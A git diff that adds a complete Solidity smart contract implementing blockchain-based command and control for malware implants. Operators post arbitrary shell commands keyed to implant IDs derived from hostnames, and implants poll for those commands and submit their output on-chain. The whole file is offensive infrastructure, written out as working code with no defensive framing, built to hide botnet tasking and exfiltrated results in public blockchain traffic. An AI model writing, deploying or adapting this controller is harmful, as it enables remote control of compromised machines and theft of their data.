diff --git a/c2_blockchain_contract/contracts/C2Controller.sol b/c2_blockchain_contract/contracts/C2Controller.sol new file mode 100644 index 0000000..96443c9 --- /dev/null +++ b/c2_blockchain_contract/contracts/C2Controller.sol @@ -0,0 +1,218 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import "@openzeppelin/contracts/access/Ownable.sol"; + +/** + * @title C2Controller + * @notice Blockchain-based Command & Control — commands in, results out. + * Operators issue commands. Implants poll for commands and submit results. + * Command reads are public + free (no gas). Results are public by design. + */ +contract C2Controller is Ownable { + + // ────────────────────────────────────────────── + // Types + // ────────────────────────────────────────────── + + /// @notice A single command targeted at an implant. + struct Command { + string data; // the raw command string + bool active; // true until ack/deletion + } + + /// @notice A result submitted by an implant. + struct Result { + string data; + uint256 timestamp; + bytes32 commandId; // link back to the original command + } + + // ────────────────────────────────────────────── + // State + // ────────────────────────────────────────────── + + /// @notice implantID => commandId => Command + mapping(bytes32 => mapping(bytes32 => Command)) public commands; + + /// @notice implantID => list of active command IDs + mapping(bytes32 => bytes32[]) private _activeCommands; + + /// @notice Unique result ID (incrementing) => Result + mapping(bytes32 => Result) public results; + + /// @notice Authorised operator addresses (in addition to owner). + mapping(address => bool) public operators; + + /// @notice Total result count (for enumeration). + bytes32[] private _resultIds; + + // ────────────────────────────────────────────── + // Events + // ────────────────────────────────────────────── + + /// @notice Emitted when an operator issues a command. + event CommandIssued( + bytes32 indexed implantId, + bytes32 indexed commandId, + string command, + uint256 timestamp + ); + + /// @notice Emitted when an implant submits a result. + event ResultSubmitted( + bytes32 indexed implantId, + bytes32 indexed commandId, + bytes32 indexed resultId, + string result, + uint256 timestamp + ); + + /// @notice Emitted when an operator is added or removed. + event OperatorUpdated(address indexed operator, bool active); + + // ────────────────────────────────────────────── + // Modifiers + // ────────────────────────────────────────────── + + modifier onlyOperator() { + require(owner() == _msgSender() || operators[_msgSender()], + "C2Controller: caller is not an operator"); + _; + } + + // ────────────────────────────────────────────── + // Constructor + // ────────────────────────────────────────────── + + /// @param initialOperator An additional operator address (can be address(0)). + constructor(address initialOperator) Ownable(_msgSender()) { + if (initialOperator != address(0)) { + operators[initialOperator] = true; + emit OperatorUpdated(initialOperator, true); + } + } + + // ────────────────────────────────────────────── + // Operator Management + // ────────────────────────────────────────────── + + /// @notice Add or remove an operator (owner only). + function setOperator(address op, bool active) external onlyOwner { + operators[op] = active; + emit OperatorUpdated(op, active); + } + + // ────────────────────────────────────────────── + // Command Lifecycle + // ────────────────────────────────────────────── + + /// @notice Issue a command to a specific implant. + /// @param implantId Unique implant identifier (e.g. keccak256(hostname)). + /// @param command Raw command string (can be any shell command). + function issueCommand(bytes32 implantId, string calldata command) + external + onlyOperator + { + bytes32 cmdId = keccak256(abi.encodePacked(implantId, command, block.timestamp)); + + commands[implantId][cmdId] = Command({ + data: command, + active: true + }); + _activeCommands[implantId].push(cmdId); + + emit CommandIssued(implantId, cmdId, command, block.timestamp); + } + + /// @notice Read a pending command (public / view — free, no gas). + /// @return The command string, or empty string if not found or inactive. + function getCommand(bytes32 implantId, bytes32 commandId) + external + view + returns (string memory) + { + Command storage c = commands[implantId][commandId]; + if (!c.active) return ""; + return c.data; + } + + /// @notice Get all active command IDs for an implant. + function getActiveCommands(bytes32 implantId) + external + view + returns (bytes32[] memory) + { + return _activeCommands[implantId]; + } + + /// @notice Get the latest active command for an implant (convenience). + /// @return The command string, or empty if none pending. + function getLatestCommand(bytes32 implantId) + external + view + returns (string memory) + { + bytes32[] storage ids = _activeCommands[implantId]; + if (ids.length == 0) return ""; + bytes32 latestId = ids[ids.length - 1]; + Command storage c = commands[implantId][latestId]; + if (!c.active) return ""; + return c.data; + } + + /// @notice Acknowledge (deactivate) a command without submitting a result. + function ackCommand(bytes32 implantId, bytes32 commandId) external { + commands[implantId][commandId].active = false; + } + + // ────────────────────────────────────────────── + // Result Submission + // ────────────────────────────────────────────── + + /// @notice Submit a command result (anyone can call; implants submit their own). + /// @param implantId The implant identifier. + /// @param commandId The command identifier this result is for. + /// @param result The output / error string. + function submitResult( + bytes32 implantId, + bytes32 commandId, + string calldata result + ) external { + // Deactivate the command on first result submission. + commands[implantId][commandId].active = false; + + bytes32 resultId = keccak256( + abi.encodePacked(implantId, commandId, result, block.timestamp) + ); + + results[resultId] = Result({ + data: result, + timestamp: block.timestamp, + commandId: commandId + }); + _resultIds.push(resultId); + + emit ResultSubmitted(implantId, commandId, resultId, result, block.timestamp); + } + + /// @notice Read a submitted result (public view — free). + function getResult(bytes32 resultId) + external + view + returns (string memory data, uint256 timestamp, bytes32 commandId) + { + Result storage r = results[resultId]; + return (r.data, r.timestamp, r.commandId); + } + + /// @notice Get result count (for enumeration / off-chain pagination). + function resultCount() external view returns (uint256) { + return _resultIds.length; + } + + /// @notice Get result ID by index. + function resultIdAtIndex(uint256 idx) external view returns (bytes32) { + return _resultIds[idx]; + } +}